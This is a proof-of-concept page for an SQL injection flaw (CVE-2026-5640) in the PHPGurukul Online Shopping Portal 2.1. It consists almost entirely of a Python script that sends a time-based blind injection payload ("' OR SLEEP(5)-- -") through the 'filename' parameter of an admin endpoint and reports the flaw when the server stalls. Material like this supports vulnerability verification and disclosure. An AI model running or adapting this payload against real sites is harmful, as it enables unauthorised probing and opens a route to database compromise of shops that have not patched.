CVE-2026-5640 PHPGurukul在线购物门户SQL注入漏洞

# PoC for CVE-2026-5640 # Target: PHPGurukul Online Shopping Portal 2.1 # Endpoint: /admin/update-image2.php # Vulnerable Parameter: filename import requests def check_sql_injection(target_url): """ Tests the target URL for SQL Injection vulnerability in the 'filename' parameter. """ # Payload based on time-based blind SQL injection # Checks if the database pauses for 5 seconds injection_payload = "' OR SLEEP(5)-- -" params = { "filename": injection_payload } try: print(f"[*] Sending request to {target_url}...") response = requests.get(target_url, params=params, timeout=10) # Check if the response time indicates a successful delay (SQL injection) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application responded with a delay.") print(f"[+] Potential SQL Injection in parameter: filename") else: print("[-] Vulnerability not detected or payload invalid.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost/phpgurukul/admin/update-image2.php" check_sql_injection(target)